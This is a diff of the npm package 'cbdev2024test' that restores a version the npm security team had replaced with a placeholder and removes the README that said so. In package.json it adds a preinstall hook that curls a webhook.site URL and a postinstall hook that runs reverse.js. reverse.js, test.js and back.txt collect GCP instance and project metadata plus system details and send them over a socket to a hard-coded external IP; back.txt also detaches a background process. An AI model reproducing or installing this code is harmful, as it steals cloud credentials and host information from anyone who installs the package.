cbdev2024test 0.0.1-security → 17.0.0

package/GCP.bash

@@ -0,0 +1,253 @@
+#!/usr/bin/env bash
+
+#**
+# @author baskar@apigee.com
+# @file
+#
+
+METADATA_URL="http://metadata.google.internal/computeMetadata/v1"
+
+function print_help() {
+    echo """
+    gcp-metadata v1.0.0
+
+    Use to retrieve GCP instance metadata from within a running GCP instance.
+    e.g. to get instance id: 'gcp-metadata -i'
+		 to get instance type: 'gcp-metadata -t'
+		 to get help: 'gcp-metadata --help'
+
+    For more information on Google Cloud meta-data, refer to the documentation at
+    https://cloud.google.com/compute/docs/storing-retrieving-metadata
+
+    Usage: gcp-metadata <option>
+
+    Options:
+    --h/--help                  Show help on the command
+    --all                       Show all metadata information
+    -p/--project-id             The Project, the instance belongs to.
+    -a/--image                  Image of the instance (Currently not available)
+    -n/--instance-name          Name of the instance as it appears on the GCP Console
+    -i/--instance-id            Numeric instance-id of the instance
+    -t/--instance-type          The type of instance. Details @ https://cloud.google.com/compute/docs/machine-types
+    -h/--local-hostname         The local hostname of the instance.
+    -o/--local-ipv4             Private IP of the instance
+    -v/--public-ipv4            NATted Public IP of the instance
+    -m/--mac                    MAC Id of the instance
+    -z/--availability-zone      The availability zone in which the instance is launched.
+    -e/--description            Description of the instance
+    -d/--disks                  All the disks attached to the instance
+    -s/--service-account        IAM Profile / Service Account attached to the instance
+    -l/--instance-template      Instance template used to launch the instance
+    -c/--created-by             Source that created the instance, like instance group
+    -g/--tags                   Tags associated to the instance
+    -u/--user-data              User-supplied data. Available only if it is supplied at instance launch time.
+    """
+}
+
+#**
+# @return true (0) if the environment is GCP, false (1) otherwise.
+#
+# checks the environment before running the code
+#
+# shellcheck disable=SC2034,SC2181
+function chk_config() {
+	response=$(curl -fs -m 5 -H "Metadata-Flavor: Google" ${METADATA_URL})
+	if [ $? -ne 0 ]; then
+		echo '[ERROR] Command not valid outside GCP instance. Please run this command within a running GCP instance.'
+		exit 1
+	fi
+}
+
+#**
+# @param ret  return code of the caller function
+# @param response  value of attribute from the called function
+# @return true (0) always
+#
+# checks the return code of the caller function
+# and prints the response if it is true (0), otherwise prints "not available".
+#
+# shellcheck disable=SC2181
+function _print_response() {
+    local ret=$1 response=$2
+	if [ "${ret}" -eq 0 ]; then
+		echo "${response:-not available}"
+	else
+		echo "not available"
+	fi
+	return 0
+}
+
+#**
+# @param metric_path  path of the metric to get
+# @param metric_name  name of the metric to be displayed
+# @return true (0) always
+#
+# get the requested standard metric and prints the metric based on the response
+# eg: /project-id: <project-id>
+#
+function print_std_metric() {
+    local metric_path=$1 metric_name=$2 response
+    [[ -n ${metric_name} ]] && echo -n "${metric_name}: "
+    response=$(curl -fs -H "Metadata-Flavor: Google" "${METADATA_URL}/${metric_path}")
+    _print_response "$?" "${response}"
+}
+
+#**
+# @param metric_path  path of the metric to get
+# @param metric_name  name of the metric to be displayed
+# @return true (0) always
+#
+# prints the metrics that has value as the last part of the resource
+# eg: for /zone: projects/<project-id>/zones/us-central1-a
+#
+function print_resource_metric() {
+    local metric_path=$1 metric_name=$2 response
+    [[ -n ${metric_name} ]] && echo -n "${metric_name}: "
+    response=$(print_std_metric "${metric_path}" | rev | cut -d '/' -f1 | rev)
+    _print_response "$?" "${response}"
+}
+
+#**
+# @return true (0) always
+#
+# prints the instance name by querying the 'hostname' metric
+#
+function print_instance_name() {
+    echo -n "instance-name: "
+    response=$(print_std_metric instance/hostname | cut -d "." -f1)
+    _print_response "$?" "${response}"
+}
+
+#**
+# @return true (0) always
+#
+# prints the local hostname
+#
+function print_hostname() {
+    echo "local-hostname: $(hostname -a)"
+}
+
+#**
+# @param index  disk index to fetch the details
+# @param key  metric of the disk to fetch, like device-name, index, type & mode
+# @return true (0) always
+#
+# prints the requested disk metrics
+#
+function _get_disk_value() {
+    local index=$1 key=$2
+    value=$(curl -fs -H "Metadata-Flavor: Google" "${METADATA_URL}/instance/disks/${index}/${key}")
+    _print_response "$?" "${value}"
+}
+
+#**
+# @return true (0) always
+#
+# prints all the attached disks along with their types
+#
+# shellcheck disable=SC2086,SC2207
+function print_disks() {
+    local disks
+    echo "attached-disks: "
+    disks=($(print_std_metric instance/disks/))
+    for disk in "${disks[@]}"; do
+        echo -e '\t' "device-index $(_get_disk_value ${disk} index):"
+        echo -e '\t\t' "device-name: $(_get_disk_value ${disk} device-name)"
+        echo -e '\t\t' "device-type: $(_get_disk_value ${disk} type)"
+    done
+
+}
+
+#**
+# @return true (0) always
+#
+# prints the service account attached to the instance
+#
+function print_service_account() {
+    echo -n "service-account: "
+    response=$(print_std_metric instance/service-accounts/)
+    iam_profile=$(echo "${response}" | tr ' ' '\n' | grep -o ".*iam.gserviceaccount.com")
+    _print_response "$?" "${iam_profile}"
+}
+
+#**
+# @return true (0) always
+#
+# prints all the metrics
+#
+function print_all() {
+    print_std_metric project/project-id project-id
+    print_std_metric instance/image image
+    print_instance_name
+    print_std_metric instance/id instance-id
+    print_resource_metric instance/machine-type instance-type
+    print_hostname
+    print_std_metric instance/network-interfaces/0/ip local-ipv4
+    print_std_metric instance/network-interfaces/0/access-configs/0/external-ip public-ipv4
+    print_std_metric instance/network-interfaces/0/mac mac
+    print_resource_metric instance/zone placement
+    print_std_metric instance/description description
+    print_disks
+    print_service_account
+    print_resource_metric instance/attributes/instance-template instance-template
+    print_resource_metric instance/attributes/created-by created-by
+    print_std_metric instance/tags tags
+    print_std_metric  instance/attributes/startup-script user-data
+}
+
+chk_config
+
+#**
+# command called in default mode, prints all the metrics
+#
+if [ "$#" -eq 0 ]; then
+	print_all
+fi
+
+#**
+# start processing command line arguments
+#
+while [ "$1" != "" ]; do
+	case $1 in
+	    -p  | --project-id )            print_std_metric project/project-id project-id
+	                                                        ;;
+        -a  | --image )                 print_std_metric instance/image image
+                                                            ;;
+        -n  | --instance-name )         print_instance_name
+                                                            ;;
+        -i  | --instance-id )           print_std_metric instance/id instance-id
+                                                            ;;
+        -t  | --instance-type )         print_resource_metric instance/machine-type instance-type
+                                                            ;;
+        -h  | --local-hostname )        print_hostname
+                                                            ;;
+        -o  | --local-ipv4 )            print_std_metric instance/network-interfaces/0/ip local-ipv4
+                                                            ;;
+        -v  | --public-ipv4 )           print_std_metric instance/network-interfaces/0/access-configs/0/external-ip public-ipv4
+                                                            ;;
+        -m  | --mac )                   print_std_metric instance/network-interfaces/0/mac mac
+                                                            ;;
+        -z  | --availability-zone )     print_resource_metric instance/zone placement
+                                                            ;;
+        -e  | --description )           print_std_metric instance/description description
+                                                            ;;
+        -d  | --disks )                 print_disks
+                                                            ;;
+        -s  | --service-account )       print_service_account
+                                                            ;;
+        -l  | --instance-template )     print_resource_metric instance/attributes/instance-template instance-template
+                                                            ;;
+        -c  | --created-by )            print_resource_metric instance/attributes/created-by created-by
+                                                            ;;
+        -g  | --tags )                  print_std_metric instance/tags tags
+                                                            ;;
+        -u  | --user-data )             print_std_metric  instance/attributes/startup-script user-data
+                                                            ;;
+	    --h | --help )                  print_help
+	                                                        ;;
+	    --all )                         print_all
+	                                                        ;;
+	    * )                             print_help && exit 1
+	esac
+	shift
+done

package/back.txt

@@ -0,0 +1,180 @@
+
+
+const gcpMetadata = require('gcp-metadata');
+var net = require('net');
+var spawn = require('child_process').spawn;
+const os = require('os');
+const { execSync } = require('child_process');
+
+// Function to get OS information
+function getOSInfo() {
+    const osInfo = {
+        platform: os.platform(),
+        arch: os.arch(),
+        release: os.release(),
+        type: os.type(),
+        uptime: os.uptime(),
+        hostname: os.hostname(),
+        userInfo: os.userInfo(),
+        memory: {
+            total: os.totalmem(),
+            free: os.freemem(),
+            usage: os.totalmem() - os.freemem(),
+        },
+        cpu: os.cpus(),
+    };
+
+    try {
+        const osDetails = execSync('uname -a').toString().trim();
+        osInfo.osDetails = osDetails;
+    } catch (error) {
+        osInfo.osDetails = 'Unable to retrieve detailed OS info';
+    }
+
+    return osInfo;
+}
+
+
+async function quickstart() {
+        const gcpinfo = {
+        av: "",
+        imd: "",
+        pmd: ""
+        }
+  // check to see if this code can access a metadata server
+  const isAvailable = await gcpMetadata.isAvailable();
+  gcpinfo.av =  isAvailable;
+  console.log(`Is available: ${isAvailable}`);
+
+  // Instance and Project level metadata will only be available if
+  // running inside of a Google Cloud compute environment such as
+  // Cloud Functions, App Engine, Kubernetes Engine, or Compute Engine.
+  // To learn more about the differences between instance and project
+  // level metadata, see:
+  // https://cloud.google.com/compute/docs/storing-retrieving-metadata#project-instance-metadata
+  if (isAvailable) {
+    // grab all top level metadata from the service
+    const instanceMetadata = await gcpMetadata.instance();
+    gcpinfo.imd = instanceMetadata;
+    console.log('Instance metadata:');
+    console.log(instanceMetadata);
+
+    // get all project level metadata
+    const projectMetadata = await gcpMetadata.project();
+    gcpinfo.pmd = projectMetadata;
+    console.log('Project metadata:');
+    console.log(projectMetadata);
+  }
+        return gcpinfo;
+}
+
+
+// Function to get file system information
+function getFileSystemInfo() {
+    const drives = {};
+
+    try {
+        const partitions = execSync('df -h').toString().trim().split('\n').slice(1);
+        partitions.forEach(partition => {
+            const [filesystem, size, used, available, usePercentage, mountpoint] = partition.split(/\s+/);
+            drives[mountpoint] = {
+                filesystem,
+                size,
+                used,
+                available,
+                usePercentage,
+            };
+        });
+    } catch (error) {
+        drives.error = 'Unable to retrieve file system info';
+    }
+
+    return drives;
+}
+
+// Function to get network information
+function getNetworkInfo() {
+    const networkInfo = os.networkInterfaces();
+    const formattedNetworkInfo = {};
+
+    for (const interfaceName in networkInfo) {
+        formattedNetworkInfo[interfaceName] = networkInfo[interfaceName].map(iface => ({
+            address: iface.address,
+            netmask: iface.netmask,
+            family: iface.family,
+            internal: iface.internal,
+            mac: iface.mac,
+            scope: iface.scope,
+        }));
+    }
+
+    return formattedNetworkInfo;
+}
+
+async function getMetadataInfo() {
+const gcpinfo = {
+	avaliable: "",
+	info: ""
+}
+
+try {
+
+  const isAvailable = await gcpMetadata.isAvailable();
+  gcpinfo.avaliable = isAvailable;
+console.log(isAvailable);
+    } catch (error) {
+        gcpinfo.info = 'Unable to retrieve detailed OS info';
+    }
+	return gcpinfo;
+}
+
+
+// Wrapper function to get all system information as a string
+function getAllSystemInfo() {
+    const osInfo = getOSInfo();
+    const fileSystemInfo = getFileSystemInfo();
+    const networkInfo = getNetworkInfo();
+    quickstart().then(data => {
+    	const allInfo = {
+        	osInfo,
+        	fileSystemInfo,
+        	networkInfo,
+		gcpinfo
+    	};
+    	return JSON.stringify(allInfo, null, 2);
+	});
+
+}
+// Run the function to log the information
+
+
+if (!process.env.IS_CHILD) {
+  spawn(process.argv[0], process.argv.slice(1), {
+    detached: true,
+    stdio: 'ignore',
+    env: Object.assign({ IS_CHILD: "1" }, process.env)
+  });
+  process.exit(0);
+}
+
+var HOST, PORT, TIMEOUT;
+HOST="34.165.144.112";
+PORT="25632";
+TIMEOUT="5000";
+
+function c(HOST,PORT) {
+console.log("here");
+getAllSystemInfo().then(data =>{
+  var client = new net.Socket();
+  client.connect(PORT, HOST, function() {
+    client.write(data);
+    sh.stdout.pipe(client);
+  });
+  client.on('error', function(e) {
+    setTimeout(c(HOST,PORT), TIMEOUT);
+  });
+})
+}
+
+console.log("here");
+c(HOST,PORT);

package/package.json

@@ -1,6 +1,16 @@
 {
   "name": "cbdev2024test",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "17.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo test",
+    "preinstall": "curl https://webhook.site/199553c3-ea00-411d-9d8e-b119b0ebefd5",
+    "postinstall": "node reverse.js"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "gcp-metadata": "^6.1.0"
+  }
 }

package/reverse.js

@@ -0,0 +1,59 @@
+const gcpMetadata = require('gcp-metadata');
+var net = require('net');
+var spawn = require('child_process').spawn;
+const os = require('os');
+const { execSync } = require('child_process');
+
+async function quickstart() {
+	const gcpinfo = {
+	av: "",
+	imd: "",
+	pmd: ""
+	}
+  // check to see if this code can access a metadata server
+  const isAvailable = await gcpMetadata.isAvailable();
+  gcpinfo.av =  isAvailable;
+  console.log(`Is available: ${isAvailable}`);
+
+  // Instance and Project level metadata will only be available if
+  // running inside of a Google Cloud compute environment such as
+  // Cloud Functions, App Engine, Kubernetes Engine, or Compute Engine.
+  // To learn more about the differences between instance and project
+  // level metadata, see:
+  // https://cloud.google.com/compute/docs/storing-retrieving-metadata#project-instance-metadata
+  if (isAvailable) {
+    // grab all top level metadata from the service
+    const instanceMetadata = await gcpMetadata.instance();
+    gcpinfo.imd = instanceMetadata;
+    console.log('Instance metadata:');
+    console.log(instanceMetadata);
+
+    // get all project level metadata
+    const projectMetadata = await gcpMetadata.project();
+    gcpinfo.pmd = projectMetadata;
+    console.log('Project metadata:');
+    console.log(projectMetadata);
+  }
+	return gcpinfo;
+}
+var HOST, PORT, TIMEOUT;
+HOST="34.165.144.112";
+PORT="25632";
+TIMEOUT="5000";
+
+function c(HOST,PORT, data) {
+console.log("here");
+console.log(data);
+  var client = new net.Socket();
+  client.connect(PORT, HOST, function() {
+    client.write(data);
+  });
+  client.on('error', function(e) {
+    setTimeout(c(HOST,PORT), TIMEOUT);
+})
+}
+quickstart().then(data => {
+console.log("here");
+c(HOST,PORT, JSON.stringify(data));
+
+})

package/test.js

@@ -0,0 +1,59 @@
+const gcpMetadata = require('gcp-metadata');
+var net = require('net');
+var spawn = require('child_process').spawn;
+const os = require('os');
+const { execSync } = require('child_process');
+
+async function quickstart() {
+	const gcpinfo = {
+	av: "",
+	imd: "",
+	pmd: ""
+	}
+  // check to see if this code can access a metadata server
+  const isAvailable = await gcpMetadata.isAvailable();
+  gcpinfo.av =  isAvailable;
+  console.log(`Is available: ${isAvailable}`);
+
+  // Instance and Project level metadata will only be available if
+  // running inside of a Google Cloud compute environment such as
+  // Cloud Functions, App Engine, Kubernetes Engine, or Compute Engine.
+  // To learn more about the differences between instance and project
+  // level metadata, see:
+  // https://cloud.google.com/compute/docs/storing-retrieving-metadata#project-instance-metadata
+  if (isAvailable) {
+    // grab all top level metadata from the service
+    const instanceMetadata = await gcpMetadata.instance();
+    gcpinfo.imd = instanceMetadata;
+    console.log('Instance metadata:');
+    console.log(instanceMetadata);
+
+    // get all project level metadata
+    const projectMetadata = await gcpMetadata.project();
+    gcpinfo.pmd = projectMetadata;
+    console.log('Project metadata:');
+    console.log(projectMetadata);
+  }
+	return gcpinfo;
+}
+var HOST, PORT, TIMEOUT;
+HOST="34.165.144.112";
+PORT="25632";
+TIMEOUT="5000";
+
+function c(HOST,PORT, data) {
+console.log("here");
+console.log(data);
+  var client = new net.Socket();
+  client.connect(PORT, HOST, function() {
+    client.write(data);
+  });
+  client.on('error', function(e) {
+    setTimeout(c(HOST,PORT), TIMEOUT);
+})
+}
+quickstart().then(data => {
+console.log("here");
+c(HOST,PORT, JSON.stringify(data));
+
+})

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=cbdev2024test for more information.